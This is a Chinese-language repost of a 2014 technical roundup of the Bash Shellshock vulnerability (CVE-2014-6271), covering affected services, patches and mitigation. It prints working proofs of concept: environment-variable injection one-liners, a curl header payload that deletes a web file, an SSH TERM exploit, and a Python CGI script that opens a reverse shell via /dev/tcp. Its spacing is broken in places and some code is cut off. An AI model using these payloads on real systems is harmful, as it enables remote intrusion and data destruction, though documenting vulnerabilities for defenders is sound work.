linux shell 鼠标事件,Bash Shellshock事件：CVE-2014-6271资料汇总

最新推荐文章于 2023-05-09 16:00:40 发布

ABBYY_Software

最新推荐文章于 2023-05-09 16:00:40 发布

阅读量363

点赞数

文章标签： linux shell 鼠标事件

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞，你可以通过构造环境变量的值来执行你想要执行的脚本代码，据报道称，这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序，目前已经公布POC的漏洞利用有HTTP，OpenSSH和DHCP；Shellshock比heartbleed更容易自动化的去攻击目标，漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生，这种担心已经得到了证实：更糟糕的情况已经发生，僵尸网络的狂欢昨天已经开始，从昨天的样本情况看，这是一个有C&C功能的botnet，"她"会先寻找busybox的目标，然后尝试入侵目标机，之后尝试提权，这个恶意软件主要目的是利用肉鸡来DDOS，攻击者的下一个目标将会是WEB。今天，一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析。

[sth0r@shawn-fortress]$ uname-a

Linuxshawn-fortress3.7-trunk-686-pae#1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=-----------------------------------------------------------------=|

|=-----=[D O N O T F U C K W I T H A H A C K E R]=-----=|

|=-----------------------------------------------------------------=|

|=------------------------[#4 File 0x07 ]-------------------------=|

|=-----------------------------------------------------------------=|

|=-------------------=[BashShellshock事件:]=--------------------=|

|=-------------------=[CVE-2014-6271资料汇总]=--------------------=|

|=-----------------------------------------------------------------=|

|=---------------------=[ByShawnthe R0ck]=---------------------=|

|=-----------------------------------------------------------------=|

|=-----------------------=[Sep252014]=------------------------=|

|=-----------------------------------------------------------------=|

--[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued...

5. References

--[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现，于1980年诞生，经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

--[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞，你可以通过构造环境变量的值来执行你想要执行的脚本代码，据报道称，这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序，包括:

在sshd配置中使用了ForceCommand用以限制远程用户执行命令，这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况，OpenSSH通常用法没有问题。

Apache服务器使用mod_cgi或者mod_cgid，如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用，open/system的情况都会受此漏洞影响。

PHP脚本执行在mod_php不会受影响。

DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。

守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。

任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC：

1，本地SHELL环境中测试是否有漏洞：

$ env x='() { :;}; echo vulnerable'bash-c"echo this is a test"

如果存在漏洞会打印"vulnerable"。

2，C程序：

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */

#include

intmain()

{

char*envp[]={

"PATH=/bin:/usr/bin",

"/usr/bin/id=() { "

"echo pwn me twice, shame on me; }; "

"echo pwn me once, shame on you",

NULL

};

char*argv[]={"/bin/bash",NULL};

execve(argv[0],argv,envp);

perror("execve");

return1;

}

je@tiny:~$ gcc-o bash-is-fun bash-is-fun.c

je@tiny:~$./bash-is-fun

pwn me once,shame on you

je@tiny:/home/je$/usr/bin/id

pwn me twice,shame on me

这个POC中可以看出BASH根本就没有去处理结尾，后面我们可以通过补丁来看为什么。

3，INVISIBLETHREAT上对于HTTP环境的测试：

创建一个脚本叫poc.cgi:

#!/bin/bash

echo"Content-type: text/html"

echo""

echo''

echo'

echo''

echo'

PoC'

echo''

echo'

/usr/bin/env

echo'

echo''

exit0

把脚本放入测试机后，输入：

$ curl http://192.168.0.1/poc.cgi

PoC

SERVER_SIGNATURE=

Apache/2.2.22(Debian)Serverat192.168.0.1Port80

HTTP_USER_AGENT=curl/7.26.0

SERVER_PORT=80

HTTP_HOST=192.168.0.1

DOCUMENT_ROOT=/var/www

SCRIPT_FILENAME=/var/www/poc.cgi

REQUEST_URI=/poc.cgi

SCRIPT_NAME=/poc.cgi

REMOTE_PORT=40974

PATH=/usr/local/bin:/usr/bin:/bin

PWD=/var/www

SERVER_ADMIN=webmaster@localhost

HTTP_ACCEPT=*/*

REMOTE_ADDR=192.168.0.1

SHLVL=1

SERVER_NAME=192.168.0.1

SERVER_SOFTWARE=Apache/2.2.22 (Debian)

QUERY_STRING=

SERVER_ADDR=192.168.0.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.1

REQUEST_METHOD=GET

_=/usr/bin/env

再来试试使用curl设置一个user-agent玩玩：

$ curl-A"() { :; }; /bin/rm /var/www/target"http://192.168.0.1/poc.cgi

500InternalServerError

InternalServerError

Theserver encountered aninternalerroror

misconfigurationandwas unable to complete

your request.

Pleasecontact the server administrator,

webmaster@localhostandinform them of the time the error occurred,

andanything you might havedonethat may have

caused the error.

Moreinformation aboutthiserror may be available

inthe server error log.

Apache/2.2.22(Debian)Serverat192.168.0.1Port80

上面已经把/var/www/target给删除了，再来看看：

$ curl http://192.168.0.1/target

404NotFound

NotFound

Therequested URL/target wasnotfound onthisserver.

Apache/2.2.22(Debian)Serverat192.168.0.1Port80

4, 针对OpenSSH的POC

目前有2个攻击平面，Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法：http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC，通过利用TERM：

在机器A上生成一对RSA key pair:

shawn@debian-test32:~/.ssh$ ssh-keygen

Generatingpublic/privatersa key pair.

Enterfileinwhich to save the key(/home/shawn/.ssh/id_rsa):

Enterpassphrase(emptyfornopassphrase):

Entersame passphrase again:

Youridentification has been savedin/home/shawn/.ssh/id_rsa.

Yourpublickey has been savedin/home/shawn/.ssh/id_rsa.pub.

Thekey fingerprintis:

09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32

Thekey's randomart image is:

+--[ RSA 2048]----+

| ... |

| .o . |

| ooo |

| o +.o. |

| = =S. |

| . * o E |

| o o . + |

|. = o o |

|oo . . |

+-----------------+

把A的公钥拷贝到机器B上：

$cat/home/shawn/.ssh/authorized_keys

command="/tmp/ssh.sh"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh

#!/bin/sh

case"$SSH_ORIGINAL_COMMAND"in

"ps")

ps-ef

;;

"vmstat")

vmstat1100

;;

"cups stop")

/etc/init.d/cupsys stop

;;

"cups start")

/etc/init.d/cupsys start

;;

echo"Sorry. Only these commands are available to you:"

echo"ps, vmstat, cupsys stop, cupsys start"

#exit 1

;;

esac

机器A上可以正常的使用限制脚本:

shawn@debian-test32:~/.ssh$exportSSH_ORIGINAL_COMMAND="ps"

shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129$SSH_ORIGINAL_COMMAND

Enterpassphraseforkey'/home/shawn/.ssh/id_rsa':

UID PID PPID C STIME TTY TIME CMD

root10016:47?00:00:02/sbin/init showopts

root20016:47?00:00:00[kthreadd]

root32016:47?00:00:00[ksoftirqd/0]

借助TERM来利用：

shawn@debian-test32:~$exportTERM='() { :;}; id';ssh shawn@192.168.115.129

Enterpassphraseforkey'/home/shawn/.ssh/id_rsa':

uid=1000(shawn)gid=100(users)groups=100(users)

Connectionto192.168.115.129closed.

5，DHCP：

--[ 2. 补丁情况

可以看出BASH的确没有做异常处理，而直接解析后就执行了。

正式的社区补丁在这里：

但由于补丁修复的不完整，导致了CVE-2014-7169的爆出,POC如下：

shawn@shawn-fortress/tmp $ date-u>test_file

shawn@shawn-fortress/tmp $ env X='() { (a)=

bash: X: line 1: syntax error near unexpected token `='

bash:X:line1:`'

bash: error importing function definition for `X'

Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件，看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午，CVE-2014-7169被BASH社区修复，目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相

关的升级。

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级：

Debian-based(包括Ubuntu):

sudo apt-getupdate&&apt-getupgrade

Gentoo：

sudo emerge--sync&&glsa-check-f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束，因为这个星球上有太多人不会那么care这个漏洞，也就是说他们不会即时的去打补丁，而从攻击者的一方而言，从漏洞公开已经出现了很多类似：

#CVE-2014-6271 cgi-bin reverse shell

importhttplib,urllib,sys

if(len(sys.argv)<4):

print"Usage: %s "%sys.argv[0]

print"Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080"%sys.argv[0]

exit(0)

conn=httplib.HTTPConnection(sys.argv[1])

reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1"%sys.argv[3]

headers={"Content-type":"application/x-www-form-urlencoded",

"test":reverse_shell}

conn.request("GET",sys.argv[2],headers=headers)

res=conn.getresponse()

printres.status,res.reason

data=res.read()

printdata

的工具，Shellshock比heartbleed更容易自动化的去攻击目标，漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生，这种担心已经得到了证实： https://gist.github.com/anonymous/929d622f3b36b00c0be1

虽然目前的样本不是蠕虫，但很明显，僵尸网络的狂欢已经开始，从目前样本的情况看，这是一个有C&C功能的botnet，"她"会先寻找busybox的目标，然后尝试入侵目标机，之后尝试提权，这个恶意软件主要目的是利用肉鸡来DDOS，攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析：http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html

通常来讲，一个漏洞曝光到自动化利用会在24小时内完成，所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

[2] Bash specially-crafted environment variables code injection attack

[3] CVE-2014-6271

[4] CVE-2014-7169

[5] CVE-2014-6271: remote code execution through bash

[6] SSH, The Secure Shell: The Definitive Guide

[7] CVE-2014-6271 cgi-bin reverse shell